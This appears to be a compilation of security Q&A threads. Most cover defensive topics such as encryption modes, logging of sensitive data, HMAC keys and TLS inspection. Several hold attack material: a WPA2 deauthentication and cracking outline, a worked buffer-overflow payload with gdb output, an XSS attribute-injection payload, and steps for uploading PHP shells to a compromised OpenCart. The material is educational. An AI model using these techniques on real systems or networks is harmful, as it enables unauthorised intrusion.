EAPoL payload (i think you meant the handshake messages) are transmitted via Wi-Fi (in our case). The details of the actual payload content can be found here. So in order to get it, you need to:

Ensure your wi-fi card supports monitor mode (e.g. listen to all the traffic nearby).
Start to sniff that traffic (e.g. with help of WireShark and aircrack-ng tools)
Deauthenticate a connected user to force him in re-authentication. That's when that handshake will occur and since you are listening to traffic, you'll be able to see and save it.

Here is a step-by-step guide into cracking WPA2 through EAPoL handshake. You should also know that in order to perform the crack you'll have to brute-force password which means you might succeed only if your password dictionary will contain a right one.


Buffer overflow exploit is leading to Segmentation Fault #include<stdio.h>
void secret(){
  printf("entered secret function");
}
void return_input()
{
  char array[60];
  scanf("%s", array);
  printf("%s\n",array);
}
int main()
{
  return_input();
  return 0;
}

used this command

gcc overflowtest.c -o overflowtest -fno-stack-protector -m32

When I did a objdump, I found that the secret function is located at 0x0804848b and 68 bytes is allocated to array, next 4 bytes stores ebp of previous stack frame, and the next following 4 bytes the return address

I tried to replace the return address this way

python -c 'print "a"*72 + "\x8b\x84\x04\x08"' | ./overflowtest

But it says aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��
Segmentation fault (core dumped)

This was a fun question to explore.

I tried the exploit and I got the same output. I just got a SegFault but was expecting "entered secret function" and a SegFault.

$ python -c "print 'a' * 68 + 'b' * 4 + '\x8b\x84\x04\x08'" > exploit.txt
$ ./overflowtest < exploit.txt
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb��
Segmentation fault (core dumped)

I opened up the program using gdb and tried to understand what is happening. I set a breakpoint at return_input.

$ gdb -q overflowtest
Reading symbols from overflowtest...(no debugging symbols found)...done.
gdb-peda$ b return_input
Breakpoint 1 at 0x80484aa
gdb-peda$ run < exploit.txt

Look at the following state:

[-------------------------------------code-------------------------------------]
   0x80484ca <return_input+38>: add    esp,0x10
   0x80484cd <return_input+41>: nop
   0x80484ce <return_input+42>: leave
=> 0x80484cf <return_input+43>: ret
   0x80484d0 <main>:    lea    ecx,[esp+0x4]
   0x80484d4 <main+4>:  and    esp,0xfffffff0
   0x80484d7 <main+7>:  push   DWORD PTR [ecx-0x4]
   0x80484da <main+10>: push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcc7c --> 0x804848b (<secret>:   push   ebp)
0004| 0xffffcc80 --> 0xf7fa7300 --> 0xf7f50447 ("ISO-10646/UCS2/")
0008| 0xffffcc84 --> 0xffffcca0 --> 0x1
0012| 0xffffcc88 --> 0x0
0016| 0xffffcc8c --> 0xf7e0d637 (<__libc_start_main+247>:   add    esp,0x10)
0020| 0xffffcc90 --> 0xf7fa7000 --> 0x1b1db0
0024| 0xffffcc94 --> 0xf7fa7000 --> 0x1b1db0
0028| 0xffffcc98 --> 0x0
[------------------------------------------------------------------------------]

Notice that the next instruction to be executed is the ret instruction. The top of the stack has the address of secret. This is exactly what we wanted. So, no problems till here.

The following is the gdb-peda state just before the printf inside secret function is executed.

[-------------------------------------code-------------------------------------]
   0x804848e <secret+3>:    sub    esp,0x8
   0x8048491 <secret+6>:    sub    esp,0xc
   0x8048494 <secret+9>:    push   0x8048580
=> 0x8048499 <secret+14>:   call   0x8048340 <printf@plt>
   0x804849e <secret+19>:   add    esp,0x10
   0x80484a1 <secret+22>:   nop
   0x80484a2 <secret+23>:   leave
   0x80484a3 <secret+24>:   ret
Guessed arguments:
arg[0]: 0x8048580 ("entered secret function")
arg[1]: 0x61616161 ('aaaa')
[------------------------------------stack-------------------------------------]
0000| 0xffffcc64 --> 0x8048580 ("entered secret function")
0004| 0xffffcc68 ('a' <repeats 16 times>, "bbbbbbbb")
0008| 0xffffcc6c ('a' <repeats 12 times>, "bbbbbbbb")
0012| 0xffffcc70 ("aaaaaaaabbbbbbbb")

Now, printf will get executed. The top of stack has the Address of the string it has to print. All good till now.

I executed printf and checked for "entered secret function" output.

gdb-peda$ ni

Here is the problem. Even if printf got executed, the string didn't get printed on the console.

So, we can conclude that the exploitation was done properly.

Let us understand why printf didn't print that string to console output.

printf and many such output functions work in the following manner.

When printf is executed, the contents inside it is not directly printed out on the console. Instead, it is buffered in a buffer.

printf("entered secret function") ------------------------> [ OUTPUT_BUFFER ]----------------> console / (Standard Output)

Later, the buffer is flushed and everything is printed out on the console.
As explained in this answer, the buffer gets flushed only when certain conditions are reached.

The buffer is flushed if it is full.
It is flushed if newline is encountered.
It is flushed if the program comes to an end.
It is flushed if we force flush it using the fflush function.

Coming back to the question at hand,

The printf("entered secret function") is executed and the string is put into the OUTPUT_BUFFER.
If the overflowtest terminated normally, the OUTPUT_BUFFER would have got flushed. But because of the exploit, it got terminated because of a SegFault. So, the buffer was not flushed. So, you didn't see "entered secret function" .

The puts function doesn't work like this. It appends a \n / newline character to the string. So, that string is immediately seen on the console.

So, if you want to see "entered secret function", then add a newline character to it - "entered secret function\n" or add a fflush(stdout) after printf.

I hope I has answered your question.

If anything is not clear, please leave a comment below.


Printing and deleting as a security measure I have an anonymous online community whose posts are deleted from the server after 21 days. In order to provide evidence against bullying and illegal activity, I'd like to keep logs without leaving my users open to having their information taken by a malicious third party.

Is there any reason printing the relevant documents before deleting from the database would be a bad idea?

To answer your more specific question in comments:

  I'm mostly curious to know if there would be any benefit to converting digital documents to physical ones so as to avoid hackers gaining access to any information in the case of an attack.

This, like most security, depends on what you are protecting against.  If you have completely erased all posts older than 21 days from your database, then you have effectively prevented anyone who gains access to your database from reading those posts.  However, since all the posts are now presumably in plaintext on a bunch of pieces of paper in a cabinet, a thief could steal the physical papers.  You may or may not consider that a valid concern, but again it depends on your threat model.

I don't know how you define a bad idea, but I can say with certainty that this is not the path I would take.  The biggest issue is that printing and storing a bunch of papers once a day is a pretty big expenditure of your time and energy.  What happens if you go on vacation, for example?  Additionally, if you want to protect the posts on your side, you'll want to use strong encryption on all messages currently in the database anyway.  In that case, a malicious person who manages to get a copy of your database won't be able to read the messages.

Going back to your original idea, if you are willing to put in the effort to deal with physical objects each day you might be better off using an air-gapped server to store old messages.  That way, you can keep them encrypted and still retrieve them later if necessary, but not even their ciphertext will be exposed if your main site is compromised.


How to find the origin of some invasive html? I've been working on the site https://founderspledge.com/ and just noticed that if you go to the main page, and open the Chrome console to view the source, there's an element that I certainly didn't put there:

.

It also doesn't show up when I run the site's code in localhost, or when I load the page source separately using Chrome's 'View Source' option.

I Googled the div's class list, and the top few hits were from anti-ad blocker software (eg https://github.com/sitexw/FuckAdBlock), which doesn't seem malign, but doesn't explain why it would be on this site.

How can I get rid of this element, and how might it have got there/does it imply there's a hole in the site's security?

I have the same issue on my website.

I have found the cause of it to be the Facebook Pixel Code.

Commenting the Pixel out resulted in the unwanted div disappearing.


Password generation based on hash of master password + suffix? Is this [1] a secure and reasonable way to generate a unique password for login on various websites?

echo -n my_strong_master_password#website.com | sha1sum

Of course, if my system is compromised this will leak all passwords, but the same would go for a password manager, if there is a keylogger.

If this is not secure, are there means of improving it, while still keeping it portable?

[1] Source: https://www.schneier.com/blog/archives/2014/03/choosing_secure_1.html#c4820917

Yes and no.

It depends on the strength of your master password. Since you are using a fast hashing function your master password needs to be even stronger.

The main threat of this scheme is that any website to which you give a password can try to brute-force or dictionary attack your master password. Once they have it they can impersonate you in every other site you use this scheme.

Here are 2 good answers on the subject :

https://crypto.stackexchange.com/questions/5689/a-single-password-manager-vs-password-generator-hash
Password Managers: encrypted database vs hashing strategy


Signing the same solution (list of files) by multiple CA We (platform owner) have a requirement to sign a 3rd party (partner) software solution which will be hosted on our platform. The 3rd party solution is signed by the partner with some well known CA. The platform owner would like to sign it again with a different CA trusted by the platform.

Can a software solution be signed by two different certificates?

Yes, but it's not entirely straight-forward.

I assume you're talking about Windows code-signing. Any .exe file can have a signature embedded in it:

As far as I know, this format only allows a single signature. (though the Microsoft code signing format is very similar to CMS that's used for S/MIME and a few other protocols, so it could in theory carry multiple signatures).

@eckes mentions in comments that you can do detached PGP signatures and present multiple of them. That's ok if you're willing host multiple .sig files next to your software download, and expect users to verify these manually. If you're using standard Microsoft X.509 signatures, then unless I'm missing something, you'll need to provide multiple versions of your binary, each with a signature from a different CA... which seems like it defeats the purpose of proving that it's the same binary.


Is it possbile to conduct http header injection attack with a web site or web app uses https? If a web site or web application is running with https, is it possible to conduct http header attacks like http header injections and so on?

Yes it is possible, but only in certain cases.  There are two general classes of Header Injection attacks that I am aware of:

One is a Man-in-the-Middle (MITM) attack where someone is intercepting your traffic to inject header info.  HTTPS connections protect against these.

The second is a Cross-Site Script (XSS) attack.  These are attacks against an application level vulnerability where a user of a website can use his input to affect the way that headers are dynamically created for other users. With XSS attacks, you change the way the server parses what it's sending you before it is encrypted for transmission; thus the content can be modified.

An example of this vulnerability might look like:

<?php
  ... // functions and SQL to collect $resultHeader and $resultHTML parameters from your database.
  $header = buildHeader($resultHeader);
  $html = buildHTML($resultHTML);
  echo $header;
  echo $html;
?>

Since the buildHTML() function processes before the $header variable is written to the page, a PHP injection could rewrite $header before it is echoed.


Using VPN over TCP 80, 443 and UDP 53,2049? My VPN client allows me to use the VPN service on TCP 443 , 80 ports and UDP 53,2049 ports. Connecting to which of the above ports will help in giving max security?

Like the others say, the port won't give any additional security.  The only advantage would be that you manage to "connect through" an egress filtering firewall.

For example, if you connect on port 53/udp, a company will see a large number of (malformed) packets on "DNS", so that may cause a red flag.  A network may also only allow only the use of their local DNS servers (which forward and cache DNS traffic).

Your "best bet" may be 443/tcp, since many networks may just allow this encrypted, binary, traffic.  Having said that, proper "deep packet" inspection would see that you don't have a proper TLS connection setup; and flag this as malicious and throttle it / shut it down.


Contacting customers of vulnerable software, is it wrong? Say you're a security researcher who finds vulnerabilities and reports them to vendors to try and receive a bug bounty. If the vendor is not willing to pay any bounty for any vulnerability, you simply don't disclose the bug and keep it private. The problem stays open.

However, the vendor does sell their product to possibly hundreds of customers who are vulnerable to the bug, who definitely don't want to stay vulnerable, since they could potentially suffer significant financial losses if someone else found the bug and used it to steal information, or worse.

What are the legal and ethical arguments for reaching out to the vendor's customers, informing them that the bug exists, explaining their potential losses (six figures), and using that as leverage to get the vendor to find the bug on their own (if they can), or pay you your desired bug bounty?

As long as the bug really does exist and you're not scaring customers for nothing, and the vendor is more than capable of finding the bug on their own if they're not willing to pay you for it's disclosure, would this be wrong to do? The alternative option of leaving the bug alone and keeping all customers vulnerable, doesn't seem like a very ethical option either, though in the short-term it creates less problems for the vendor.

Any advice would be appreciated.

There are better ways.

If your intention is to inform customers for purely altruistic purposes (and/or, to pressure the vendor to fix, whether or not you receive financial benefits), then there are other avenues you can explore.

You could, for one, contact your local CERT, or the CERT you believe could pressure the vendor into fixing (for the US, see http://www.kb.cert.org/vuls/html/report-a-vulnerability/).

You can also request a CVE (https://cve.mitre.org/) in order to make the vulnerability public, not just known to existing customers.

There are probably a whole ton of other options, but those are (hopefully) a reasonable starting point.

Consider too these provide some kind of peer-review, to make sure you have what you think you have.

If you are intending to contact customers for profit, then the question of how you know who they are would sort of become salient, and you would most likely be considered to be cold calling, which over email (or other mediums) may have consequences, for example related to CAN-SPAM if you are US-based.

I am not a lawyer, but this seems kind of shaky ground.

And the vendor isn't likely to feel warmly towards you if they find out.

If you really don't care about ethics, there are private vulnerability marketplaces you could consider.
This will not lead to any fixes, but exploitation of the bug and personally, I would not feel this the way to go.

Basically: if the vendor isn't paying you for a vuln, then I think (and this is purely opinion) that a public report will make them more likely to do so in future.

Closer to home, you could also check out How to disclose a security vulnerability in an ethical fashion?


What is the advantage of using a symmetric cipher like AES to generate a keystream? I see examples of AES (with a shared secret key) being used to encrypt shared secrets (e.g. nonce + counter) to produce a keystream against which the plaintext is XOR'ed to produce the ciphertext.

What is the advantage of using this method over simply using AES to encrypt the plaintext?

What is the advantage of using a symmetric cipher like AES to generate the keystream in this algorithm where it functions as a one-way hash?

AES, by itself, is a block cipher: it accepts as input a "block" of 16 bytes, and produces a block of 16 bytes. But we want to use it to encrypt "data", usually long sequences of bytes, much longer than 16 bytes, so something else is needed; this is the mode of operation. The mode of operation defines how the input data is processed, and, in particular, what exactly goes into the block cipher proper.

The simplest method is to split the data into 16-byte blocks and process them independently of each other. This is called ECB. The usual penguin picture (see @drjimbob's answer) is a clear demonstration that there is something wrong with ECB, when processing "normal data". A better encryption mode is needed. Historically, OFB, CFB and CBC first gained popularity, then later on CTR was defined. All these modes make different things with the data and invoke the block cipher on different blocks. In CBC and CFB, AES is invoked of blocks which are a XOR of a data block with some produce of past processing; with OFB and CTR, AES is invoked on something which depends on the IV, key and block position, but not on the data itself.

With a lot of hand-waving, we can claim that in a good mode of operation, the raw data should not enter the block cipher "as is". The reason is the following: normal data has redundancy, so you can expect the source blocks to have repetitions (e.g. think of XML). However, the block cipher itself is deterministic, so if you call it twice on the same output, you will get twice the same output. This is the kind of information leak that a good encryption system should hide. In a mode of operation, the "hiding power" lies in the block cipher; the rest is mere data routing; therefore, in order to hide repetitions and other structural elements of the source data, the mode should be such that no two invocations of the block cipher shall send the same block to the block cipher. And this implies at the very least some pre-cipher processing.

Now CFB and CBC still "combine" the data block with the block cipher input, while OFB and CTR do this combination on the output only. We might argue that the latter method is superior because it allows precomputations: with OFB and CTR, one can "prepare" the pseudo-random string before having access to the actual data. However, this is rarely done, because buffering has its own costs. A much more important characteristic of CTR, that CFB, OFB and CBC do not have, is parallelization: given, say, a 160-byte message to encrypt, the 10 underlying AES invocations can be done simultaneously, provided that you have enough circuitry for that. You cannot do that with CBC, because you have to wait for the result of the encryption of one block to begin processing the next block (you can have parallel CBC decryption, though). High-bandwidth circuit makers love CTR mode (it maps well onto unrolled, pipe-lined AES implementations).

To sum up:

There is a need for a mode of operation more complex than ECB.
The mode should include some data pre-processing so that the raw data does not enter "as is" the block cipher. If the mode "directly encrypts the plaintext" (i.e. applies the block cipher on unmodified source data blocks) then it will have trouble hiding repetitions, and that's a problem with normal structured data.
There is no formal need that the source data enters the block cipher at all; the source data may enter the mix as a post-processing step. This gives some minor advantages, e.g. the possibility to precompute the bulk of the operations; if the post-processing is a simple XOR, it also makes decryption identical to encryption, which is nice when a system must do both (it saves code space and/or silicon area).
An important feature of good modes is the possibility to speed up things with parallelization. It so happens that the one popular mode which is amenable to parallelization for both encryption and decryption (that's CTR) also is a "post-processing only" mode. That's a coincidence; to my knowledge, there is no strong reason why it should be so. But it is nice nonetheless (as said above) so we will not complain.


Duplicate QR code for authenticator app Is it possible to duplicate the qr code for an authenticator app in such a way that you could have an account with the same code on two separate devices.

The QR code you're supposed to scan when setting up your authenticator app contains a secret key (the seed) as well as the hashing algorithm and the number of digits. Nothing prevents you from scanning this code on multiple devices or taking a photo of it to enroll future devices later.


Linux Script SUID Wrapper Is using a wrapper to execute a script a good practice ?

In such case can the following set of wrapper / script be considered as safe:

wrapper.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/types.h>

int main(void)
{
    if (setuid(geteuid()) != 0)
    {
        fputs(strerror(errno), stderr);
        return EXIT_FAILURE;
    }
    system("cat script | /bin/bash");
    return EXIT_SUCCESS;
}

script

IFS=""
/bin/echo -n "[Whoami]: "
/usr/bin/whoami

/bin/echo -n "[ls /root]: "
/bin/ls /root

The script file does not contain any shebang. Would it change anything if I'd have added one ?

In the Wrapper, could I have simply called the script as I'd execute any Linux script instead of cat'ing its content into a shell ?

No this is not considered safe, you do not make any attempt to sanitize the environment you are running in. Which will let the attacker manipulate what gets executed as root by manipulating the environment through various environment variables, from PATH to LD_PRELOAD. Specific vulnerabilities vary, and there is some effort to mitigate in dynamic loader but still you should sanitize environment and ensure you are in control of what gets executed in privilege context ensure only the relevant input is passed and nothing else ensure relevant input is valid.


Xssing without opening a new html tag < Example: test.php?p=test give output:

test

I can inject anything other than '<', when injected I got redirected.
So can it be exploited ?

As Ammar mentioned, in this specific situation I don't think that XSS is possible.  However if visiting test.php?p=test rendered the following HTML:

Some other stuff

A malicious user could potentially use a URL like this:

test.php?p=test" onmouseover="alert('xss')

rendering:

Some other stuff

to execute an XSS attack.  Doesn't work in your situation, but should illustrate the fact that stripping brackets is not sufficient to prevent XSS.


how to prevent multicast packets from being snooped As we know, any user can send IGMP to join a multicast group, which means an unauthirized user can capture any multicast packets in a traditional LAN.

I want to prevent the multicast packets from being snooped by unauthorized user, is there any technology for this?

I know IGMP snooping is a mechanism to analyze IGMP protocols at layer 2, but I am not sure if IGMP snooping can be set to forward the multicast packets only to the authorized LAN switch ports.

thank you in advance

cheng

I want to prevent the multicast packets from being snooped by unauthorized user,

Since there is no authorization in multicast you cannot prevent snooping by an unauthorized user. What you can do instead is to encrypt the multicast traffic and distribute the decryption keys only to the users which should be able to access the content.


Best practices to protect public/private SSH key pair in web interface? I've got a dilemma here: I'm working on a system that will connect to remote linux servers for monitoring and automating some processes. Since user+pass is insecure for obvious reasons and public/private key pairs exist for a reason, my site generates a key pair and gives the public key to the user (for uploading to their server) but in case the user forgets their public key I'd like to give them a way to recover it.

However, if I encrypt the public key with the user's password, if a hacker gets into the database, even if the password is hashed, they can use that hash to decrypt the public key, so it would make no sense. I started to think in using OTP instead and ask it at key generation phase and key view phase.

What do you think? Is this method secure? Are there any better ways to secure this? Actually, what I'd like to archieve is something like using a master password/key to unencrypt that data, something that the user has, but at the same time I can use to unencrypt the data in case my system needs it... For instance, for logging in I've got to compare the password somehow, right? and to unencrypt the public key for display I've got to do it as well.

Any pointers or ideas would be very welcome, as I've spent around two days fully thinking about this issue but I've found no hacker-free way to do so. I know everything is hackable, but I wouldn't mind if it's done somehow that it'll take around 10 GTX 1080s to decrypt the information, that'll give me enough time to act I think. Am I wrong?

You don't need too much protection for the public key. It's public after all. An attacker cannot do much harm if he gets his hands on a public key.

You can just compress the key and store on your filesystem, or your database.

What you need to protect is the interface for entering the keys. If an attacker can upload his own key in any user's profile, he can access the servers the user would have access.


Decrypting SSL traffic for Security Onion at or before the interface I have Security Onion installed and doing full packet capture on my home network. I also have a firewall (pfSense) which does my routing. I have Security Onion sitting just behind my firewall and mirrored from a switch. It works great except I want to decrypt my SSL traffic. I would very much prefer to have the decryption take place on the fly instead of manually decrypting with wireshark that way Snort sees everything as well. I installed squid on the firewall to try to proxy my traffic but it is not working right. It forwards everything on but I can't get it to decrypt (run live capture on the firewall and it is still encrypted). If I can get this working, will that be enough (using the firewall's private key to decrypt)? If so, how would I go about setting this up in Security Onion? Thank you for your help.

To set up general TLS decryption Security Onion will need to have a certificate trusted by your endpoints.  Usually this certificate has a CN of * so it can sign anything.

So you'd generate a TLS keypair for encryption.  Its cerificate will need to be added to your root store either on your ActiveDirectory Domain Controllers, some other central store for other systems, or in the individual endpoints.  This keypair will allow Security Onion to act as a TLS proxy yet still be able to be trusted by endpoints.

The firewall cert is unrelated as TLS is end-to-end encryption where the server has the private key and no one else.  TLS decryption subverts this by introducing a proxy that can decrypt, inspect, and re-encrypt TLS traffic.  This only works if the certificate used for re-encryption is trusted by the endpoints.  It is a controlled MitM.

CAUTION: This is very dangerous if done improperly since it can enable malicious MitM if the keypair is stolen.


Reading encrypted data before sent to remote server I'm developing a mobile app (Android only for now) to provide a disposable e-mail service to users. Users will be given temporary e-mail addresses so they can receive and read e-mails for a certain period of time, then accounts are completely destroyed.

In this architecture, I'm not interested in users knowing the passwords for their e-mail accounts, because they could log-in via a common client and send mails or even spam (currently I want to allow only incoming e-mails, not outgoing).

My idea is to generate a pseudo-random password inside the app each time the user wants to create a disposable e-mail, send it through a HTTPS POST request to the remote server so the account can be created, and then allow the user log into the account using a small client via IMAPS.

I know both HTTPS and IMAPS should provide enough security as far as the client <-> server data goes, but I'm concerned about the possibility users could break the code (or introduce a device before their router so the HTTPS mailbox creation request might be read before sent, or alike) and somehow get the password for the temporary account while the account still exists.

How real is this situation? If users can get the passwords with the above schema, is there a way I can achieve my purpose in a secure way?

Thanks.

I Think you are doing the thing wrong from the very beginning. You say you want to prevent users from Learning the password to prevent them from sending spam.

Of course, the SMTP server should be configured to allow no relaying, not even for local users, it should only accept emails for your disposable service.
Then you can easily give out random passwords to your app, completely unencrypted and you can let them read the mails without SSL too. It wont matter if your end users get at hold of them, all they can do is read the email for their own disposable email account in the IMAP box. They wont get any advantage by knowing the password.

To prevent users from using a Another email client and Another SMTP server (like a ISP server) to send spam using your disposable service email adresses as spoofed sender (they wont need to know the password for this type of abuse), configure the disposable service to have a SPF record of "v=spf1 -all". This will ensure all outgoing mails from the disposable service is discarded as fraudulent/spoofed from receivers that adhere to the SPF standard.


Is an application backend expected to potentially log sensitive customer data when in debug mode? As I am working on a website that asks customers to enter data such as their name, address, phone number, obviously customer data that needs to be protected.

I do my best to not log such data (although I have two levels of logs: normal and secure, and would use the secure log area for such), I am wondering whether an application is expected to still not log customer data when in debug or trace mode. All those logs happen on the server side. The client has no control over it.

In my current implementation, the normal release mode would not do so in INFO, WARNING, or ERROR log levels, but the DEBUG/TRACE levels might leak some of that information to the logs. Is that expected behavior in most website servers? Or should we attempt to limit such leaks even when in DEBUG, TRACE mode? (note that our C++ application is compiled in release mode, the "DEBUG" in this case references the log level and not whether some debug code is still in the software.)

Note that the application can be logging the data on another computer or even a third party system so security wise access to the logs is independent of access to the website server application or the database where, obviously, the data lays for sure. However, I can imagine some people having lower security requirements on their log computers than the computers with the database...

This is a great question! I'm also a developer on a c++ product that handles high sensitivity data, and we face this dilemma almost every day.

When a production system starts throwing alarms (especially performance or configuration-related ones, thought misbehaving software / bug ones also apply) we often need stack-trace level debugging turned on temporarily in order to diagnose the problem. These logs inevitably contain sensitive information: IP addresses or users involved in the transaction, sometimes pieces of the data, you name it. Often our customers don't feel comfortable giving us these logs for obvious reasons. It's tough.

The administrators actually running your server will know what level of sensitivity their data is, and what government or industry security policies they have to follow when handling it (for example: government, financial, and health data all have special rules). It's fair that your software has the ability to produce sensitive logs, but the admins need to be fully in control of how, when, and where they get produced and stored.

Some things you can do:

Make sure you are very careful to correctly categorize all error messages containing (even potentially) sensitive information into the correct log level - INFO, WARNING, ERROR, DEBUG, TRACE, etc.
Be explicit in your documentation about kinds of sensitive information is included in each log level. The more detail the better so the security-minded admins can do their jobs properly.
Make sure DEBUG/TRACE log level is off in the software's default configuration, and that the admin has to run a gambit of warnings to turn it on (ie it's not possible to do by accident).
You could send DEBUG/TRACE level logs to a separate log stream (you mentioned a separate "secure" log) that defaults to local storage, making it harder to "accidentally" ship it outside the secure zone, or get it mixed in with the standard logs.
Ship your product with a redaction tool that knows how to mask all raw data, usernames, IP addresses, etc from your DEBUG/TRACE logs with unique placeholders (each unique username / IP gets masked by a unique A, B, .., AA, etc). Often the actual username / IP / data is irrelevant, but the key to diagnosing the problem is that the error only happens with data of type X, or that IP address A (and only A) always always sends its requests three times, or whatever. This way an admin can be confident that nothing sensitive is leaking if they ever ever need to move these logs out of the secure zone (for example sending them back to you for debugging).

Bottom line: I think it's fair that your software has the ability to log sensitive information for debugging purposes - and you'll thank yourself later when you have to debug a malfunctioning prod system! But make it as difficult as possible to turn on "by accident". Trust the admins to know their security requirements, and make their jobs easy.


Can attacker escalate its privileges if he has access a web Application running with www-data I have deployed an opensource web Application named "opencart" it has simple password. My question is can attacker login my system and escalate privileges if he login web application and even know the password of mysql database.

My question is can attacker login my system and escalate privileges if
  he login web application and even know the password of mysql database.

Fast Answer : Yes...

WebApp

I suppose you mean the attacker has access to the cms admin backoffice.

Attacker could try to achieve ACE (Remote Code Execution) / RFI (Remote File Inclusion)

Upload a php shell embedded in an image
Upload & Install a malicious Opencart Extension (to grant shell access)

Upload a php shell (using other methods)

MySQL

A shell can be uploaded also...

If the attacker has the database credentials and the database allows remote connections, then it can perfectly perform much evil with a simple mysql client remote connection, specially if the credentials have high privileges.

If the database only accepts local connections it could also happen, example : attacker manages to upload a shell by other means, and connects from the local machine through his shell with the database credentials.

This could even happen in scenarios where the attacker doesn't know the database credentials but manages to find a good sql-injection in the webapp.

WARNING : If the webapps database has been setup with root / full privilege account, a SQL Injection could mean  gameover (no need for the attacker to escalate privileges)

Article : SQLMAP Shell upload [SQL Injection]


How to prevent chromeipass from auto-filling credentials? ChromeIPass (addon for Keepass on Chrome) wants to unlock the database every time it detects credential fields, even if I don't even have an account on that site. This is the default setting (october 2015).

Is it possible to only unlock the database on my request (by clicking on the ChromeIPass button)?
Is it possible to keep the KeePass database encrypted and only unlock it when required?

This question is security related as any workaround not carefully thought through can increase the security risk.

Basic (bad) workarounds could be:

keep your DB open at all times when using Chrome
try a custom reconfiguration of ChromeIPass (with the risk to reduce the security level)*.
stop using ChromeIPass and return to your old way to manage your access (copy/paste credentials??) because this issue is very frustrating.

*official mention from the ChromeIPass setting page:

  Attention! Please change the following settings only if you know what
  you are doing!

Is it possible to only unlock the database on my request (by clicking
  on the ChromeIPass button)? Is it possible to keep the KeePass
  database encrypted and only unlock it when required?

Yes it is. ChromeIPass requires the Keepass extension KeePassHttp. The default settings can be really annoying if you are used to keep your DB locked most of the time (DB is opened manually and only when required):

Open Keepass and go on the Interface tab options  (Tools > KeePass Http Options).
unecheck "Request for unlocking the database if it is locked"

Save and you are done. Now ChromeIPass won't try to open automatically  your Keepass DB.

Suggestions

Then to quickly open Keepass manually you can use the Keepass Global shortcut (available by default) or you can simply click the ChromeIPass button.

Global shortcut:

CTRL+ALT+A this will open a window with a list of entries that matched or
CTRL+ALT+K to simply open keepass and search your entry.

You may also like to see a dropdown that will suggest you automatically the logins available. Make you sure you have checked the following option in ChromeIPass:

[x] Activate autocomplete for username fields.

note: to see the dropdown list your Keepass DB must be unlocked.

Here are other suggestions for better experience with Keepass and ChromeIPass. Disable any autocomplete feature and try to use the Global Keepass shortcut instead. Don't let ChromeIPass think for you.

ChromeIPass settings:

[  ] activate password generator (can be done direclty in keepass)
[  ] automatically fill-in single credentials entry (too risky)
[x] activate autocomplete for username fields
[  ] auto fill HTTP Auth dialog and send them.

note: This is working for Keepass V2.


Ways to monitor someone's internet traffic If some authority for whatever reason decides they want to monitor your traffic on a wired DSL connection, how would they do it besides exploiting your OS? What are the other ways assuming the OS is locked down against intrusion?

Ideas I have so far:

At the modem. Get a different modem
ISP server/records. Use a VPN? Do secure VPNs like AES 256 circumvent all possibility of monitoring traffic?
DNS records. Use different dns servers besides the ISP's.
Hardware based backdoor. Get a different computer.
Line is tapped physically at the junction box. Would a secure VPN protect your traffic in this case?

Other ideas and solutions?

All of the wires and cables, most of which is totally out of your physical control, could be tapped.  Read-only CAT-5 cables can easily be made, and work even for the most inept. I'm certain that the local loop, the circuit connecting your domicile to the phone company's Central Office, can be tapped at many, many locations.  The technology to decode DMT (the most common Layer 2 DSL protocol) is unknown to me.

DSL usually uses PPOE to communicate over the local loop. That means that the phone company's end of the PPP connection would be a logical, easy place to tap all of the IP-level communication. This is totally out of your control, and even if your TCP or UDP level comm is encrypted, you'd be subject to traffic analysis.

Hardware backdoors will be almost impossible to detect. Some Cambridge University people just published a good paper on a real hardware backdoor.

One way of snooping that you haven't considered is van Eck phreaking. One countermeasure to this sort of thing is to use weird fonts that are human-readable, but not TEMPEST or van Eck readable.

Another form of monitoring that you may not have considered is Traffic Analysis. For what's possible, take a look at Traffic Mining in IP Tunnels. The abstract is in French, but the PDF appears to be in English.


When using HMAC-SHA256 do I must save the secret in the databse to verify the sender? Many API's I found that using same method for authentication:

  Signature is a HMAC-SHA256 encoded message containing nonce, customer ID (can be found here) and API key. The HMAC-SHA256 code must be generated using a secret key that was generated with your API key. This code must be converted to it's hexadecimal representation (64 uppercase characters).

https://www.bitstamp.net/api/

I believe that for making it works, the service provider must keep a copy of the API secret, and then he can check if the user used the same secret to generate the signature.

I'm thinking that it is very insecure, and it is like storing a plain password in the database. Anyone who get an old database backup have the secrets of all the users.

Am I miss something? There is a method for the server, to check that the user encoded a signature using specific secret, without storing the secret in the database?

Because of this, I think to provide the user a private key of OpenPGP pair, and then I can validate the signature using the public key.

Do you think, that there is a security flaw in the way bitstamp for example, working, and OpenPGP would be better?

HMAC-SHA256 is a message authentication code that uses a shared secret between the two communicating parties.  It is absolutely necessary that both ends possess the same key (and anyone with that key can both generate and validate messages).  So yes, your conclusion that the service provider still has the key is a correct intuition.  (They could either store the key or use some mechanism for deterministic regeneration.)

An asymmetric keypair (OpenPGP being one example) would avoid this, but does have a far more complex implementation, more room for error, and higher compute times on both ends for the communications.

In the case where they regenerate the HMAC key, it could be done in a fashion that would make it difficult for an attacker to steal the key.  Perhaps they compute an HMAC(username, secret) using a secret that is stored in an HSM.  This would allow them to deterministically generate the API key without needing to store it in the clear.  Using an HSM makes it very difficult for an attacker to steal the secret needed to generate per-user keys.

The decision as to which is appropriate would depend on several factors, including the necessary integrity requirements for the service in question.  Perhaps the service provider considers that the damage that would be done by a leaked database is not made worse due to API keys being included -- if the information is much more valuable or the site only serves to allow retrieving information from that database, then the access to API keys adds little to the attacker's bounty.


My boss knew I had put a file onto a memory stick? The office I work for sent a email to me by accident; it contained an Excel spreadsheet that showed I was being treated illegally. I put it on a memory stick for my own future in case I needed to take it further. But when they had my laptop back when I was on holidays, they knew I had transferred it onto a stick. Could you tell me how?

This depends on the logging which was in place on your system when you were doing the copy. Logging the file copy is not enabled by default.

There are other programs you can indirectly get that information form, specifically antivirus software which may log the history of its checks. This is also possible via the program you used to open the file with (this is dependent on which copy you opened: the one from the email or the one copied to the USB stick)


